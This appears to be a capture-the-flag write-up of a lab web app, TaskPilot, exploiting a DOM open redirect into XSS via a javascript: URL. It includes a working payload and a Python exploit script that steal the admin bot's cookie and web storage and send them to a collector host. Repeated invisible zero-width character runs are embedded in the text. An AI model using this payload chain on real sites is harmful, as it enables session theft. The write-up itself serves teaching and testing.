← Back to Writeups
CUSTOMMediumWeb

Lab 176 — TaskPilot — DOM-Based Open Redirect to XSS via javascript: Protocol

XESXOR9/10/20266 min read
#web#custom#medium#source_to_sink_analysis#hostname_substring_bypass#javascript_protocol_xss#same_origin_report_exfiltratio#linux

Lab 176 — TaskPilot — DOM-Based Open Redirect to XSS via javascript: Protocol

Platform: hackadvisor | Category: Web | Type: Challenge | Difficulty: Medium | OS: Linux | Author: XESXOR | Date: 2026-07-20 | Status: Solved Techniques: source_to_sink_analysis, hostname_substring_bypass, javascript_protocol_xss, same_origin_report_exfiltration

Summary

Task: TaskPilot exposes a post-login DOM redirect and an authenticated administrator link-report bot. Solution: a javascript: URL bypassed substring host validation, then synchronously queued a same-origin report that leaked the admin cookie.

Lab 176 — TaskPilot — DOM-Based Open Redirect to XSS via javascript: Protocol — hackadvisor

Description

TaskPilot project management platform has authentication with post-login redirect, boards/tasks/settings/activity feed, and an authenticated link-report feature whose admin bot reviews URLs. Goal was to exploit client-side redirect and capture admin session information. Credentials user@test.com / password123.

TaskPilot supplied a normal user account and an authenticated /report feature. The objective was to make the administrator bot traverse the vulnerable post-login redirect, execute JavaScript in its authenticated application origin, and recover sensitive session information. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

The final lab instance was:

text
https://d847a2cf-6852-4839-bb75-3c4bfaa1c445.labs.hackadvisor.io/

Its Interaction Server namespace was:

text
http://interact/d847a2cf-6852-4839-bb75-3c4bfaa1c445/

Analysis

Source-to-sink trace

The vulnerable client-side code in /js/redirect.js was:

javascript
var targetUrl = new URLSearchParams(window.location.search).get('next');
var appHost = window.location.hostname;
if (targetUrl.indexOf(appHost) !== -1) window.location.href = targetUrl;

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

The complete data flow was:

  1. The attacker controls the next query parameter.
  2. URLSearchParams(window.location.search).get('next') reads it into targetUrl.
  3. The application derives appHost from window.location.hostname.
  4. Validation merely checks whether the hostname occurs anywhere in the supplied string.
  5. The unchecked URL is assigned to window.location.href, an executable navigation sink.

This is not an origin comparison. A javascript: URL can contain the required hostname in inert code, such as void('localhost'), and therefore pass the substring check while retaining the javascript: scheme. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

The login endpoint also preserved next through authentication. A normal login with next=/projects redirected to /auth/callback?next=%2Fprojects, while next=javascript:alert(1) survived as /auth/callback?next=javascript%3Aalert(1). Consequently, the exploit needed to enter through the complete login flow rather than reporting /auth/callback directly.

Bot origin and delivery path

The report form accepted HTTP or HTTPS links but rejected a raw javascript: report. The administrator bot accessed TaskPilot internally at localhost:8080, so the working reported URL had this form: ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

text
http://localhost:8080/login?next=<URL-encoded javascript payload>

The bot authenticated at that URL. TaskPilot then carried next into /auth/callback; at that point the page hostname was localhost, the inert void('localhost') expression satisfied the flawed check, and assigning the value to window.location.href executed the payload in the authenticated TaskPilot origin.

Exfiltration pivot

The first payloads navigated directly to an Interaction Server URL or attempted equivalent cross-origin callbacks. Although baseline reports proved that HeadlessChrome could reach the Interaction Server, no cookie leak arrived. There were two practical problems: ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

  • The application context was HTTPS in some tested paths, making a direct HTTP collector request vulnerable to mixed-content blocking.
  • The review bot could close or tear down the page before a second navigation completed.

The successful pivot avoided direct cross-origin exfiltration. The XSS made a synchronous, same-origin POST /report request. Its form field contained an Interaction Server URL whose path encoded the cookie and both Web Storage objects. TaskPilot queued this as a second report, and the administrator bot later visited that queued URL itself. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

The exact JavaScript logic was:

javascript
javascript:d='C:'+document.cookie+'|L:'+JSON.stringify(localStorage)+'|S:'+JSON.stringify(sessionStorage);
x=new XMLHttpRequest();
x.open('POST','/report',false);
x.setRequestHeader('Content-Type','application/x-www-form-urlencoded');
x.send('url='+encodeURIComponent('http://interact/d847a2cf-6852-4839-bb75-3c4bfaa1c445/taskpilot-leak/'+encodeURIComponent(d)));
void('localhost')

The synchronous XHR ensured that the new report was created before the vulnerable page could be torn down. The final expression was harmless at execution time but inserted the required localhost substring into the javascript: URL. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Decoy flag

Reconnaissance found this value embedded in ordinary HTML responses:

text
FLAG{d3c0y_n0t_r34l_7r4p_f0r_b0ts}

It was ignored because it was a static, repeatedly exposed value that explicitly identified itself as a bot trap. It did not result from privileged browser execution or admin-session disclosure. By contrast, the real flag arrived in the administrator bot's readable flag cookie through the proven XSS and exfiltration chain.

Solution

  1. Log in to the public instance as user@test.com with password123 to obtain access to /report.
  2. Build a javascript: payload that serializes document.cookie, localStorage, and sessionStorage.
  3. Have the payload synchronously submit a second same-origin /report, placing the encoded data in an Interaction Server URL.
  4. Append void('localhost') so the payload passes the hostname substring check on the internal origin.
  5. URL-encode the entire JavaScript URL as the next value of http://localhost:8080/login.
  6. Submit that complete internal login URL through the authenticated report form.
  7. Wait for the bot to process both reports, then decode the /taskpilot-leak/ callback path. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Reproducible exploit

python
#!/usr/bin/env python3
"""Exploit TaskPilot's post-login DOM redirect and queue the admin leak."""

import argparse
import urllib.parse

import requests


def main() -> None:
    parser = argparse.ArgumentParser()
    parser.add_argument(
        "base_url",
        help="public lab URL, for example https://UUID.labs.hackadvisor.io/",
    )
    args = parser.parse_args()

    base = args.base_url.rstrip("/")
    host = urllib.parse.urlsplit(base).hostname
    if not host or not host.endswith(".labs.hackadvisor.io"):
        raise SystemExit("expected a HackAdvisor lab URL")
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

    instance_id = host.split(".", 1)[0]
    collector = f"http://interact/{instance_id}/taskpilot-leak/"

    session = requests.Session()
    response = session.post(
        base + "/login",
        data={
            "email": "user@test.com",
            "password": "password123",
            "next": "",
        },
        allow_redirects=False,
        timeout=15,
    )
    if response.status_code != 302:
        raise SystemExit(
            f"login failed or lab unavailable: HTTP {response.status_code}"
        )
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

    javascript_url = (
        "javascript:"
        "d='C:'+document.cookie+'|L:'+JSON.stringify(localStorage)"
        "+'|S:'+JSON.stringify(sessionStorage);"
        "x=new XMLHttpRequest();"
        "x.open('POST','/report',false);"
        "x.setRequestHeader('Content-Type','application/x-www-form-urlencoded');"
        f"x.send('url='+encodeURIComponent('{collector}'+encodeURIComponent(d)));"
        "void('localhost')"
    )

    reported_url = (
        "http://localhost:8080/login?next="
        + urllib.parse.quote(javascript_url, safe="")
    )
    response = session.post(
        base + "/report",
        data={"url": reported_url},
        timeout=15,
    )
    response.raise_for_status()
    if "administrator will review this link shortly" not in response.text:
        raise SystemExit("report was not accepted")
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

    print(f"Reported: {reported_url}")
    print(f"Watch Interaction path: /taskpilot-leak/ (instance {instance_id})")


if __name__ == "__main__":
    main()

Run it with:

bash
python3 exploit.py \
  https://d847a2cf-6852-4839-bb75-3c4bfaa1c445.labs.hackadvisor.io/

The resulting callback path was:

text
/taskpilot-leak/C%3Aflag%3DFLAG%7BREDACTED%7D%7CL%3A%7B%7D%7CS%3A%7B%7D

URL-decoding the final path component produced:

text
C:flag=FLAG{REDACTED}|L:{}|S:{}

Thus the administrator's JavaScript-readable cookie held the real flag, while neither local storage nor session storage contained additional values. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Failed Approaches

  • Raw javascript: report: rejected because /report accepted only HTTP or HTTPS URLs.
  • Direct /auth/callback delivery: did not reproduce the required authenticated internal flow reliably; the successful route began at /login so the bot authenticated and the server preserved next into the callback.
  • Direct Interaction Server navigation or image-style exfiltration: baseline bot callbacks worked, but sensitive callbacks did not arrive, consistent with HTTP mixed-content restrictions and rapid bot teardown.
  • Interaction-hosted redirect page: the bot fetched the hosted page, but the subsequent navigation did not complete before its lifecycle ended.
  • Guessed internal ports and public-origin callback variants: ports 3000, 3001, and 80, plus public and 127.0.0.1 routes, did not yield a leak. The verified internal application route was localhost:8080/login. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

The decisive phase pivot was to stop requiring the vulnerable page to finish a cross-origin request. A synchronous same-origin XHR reliably inserted a second job into the application's report queue, delegating the final Interaction Server request to the bot. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍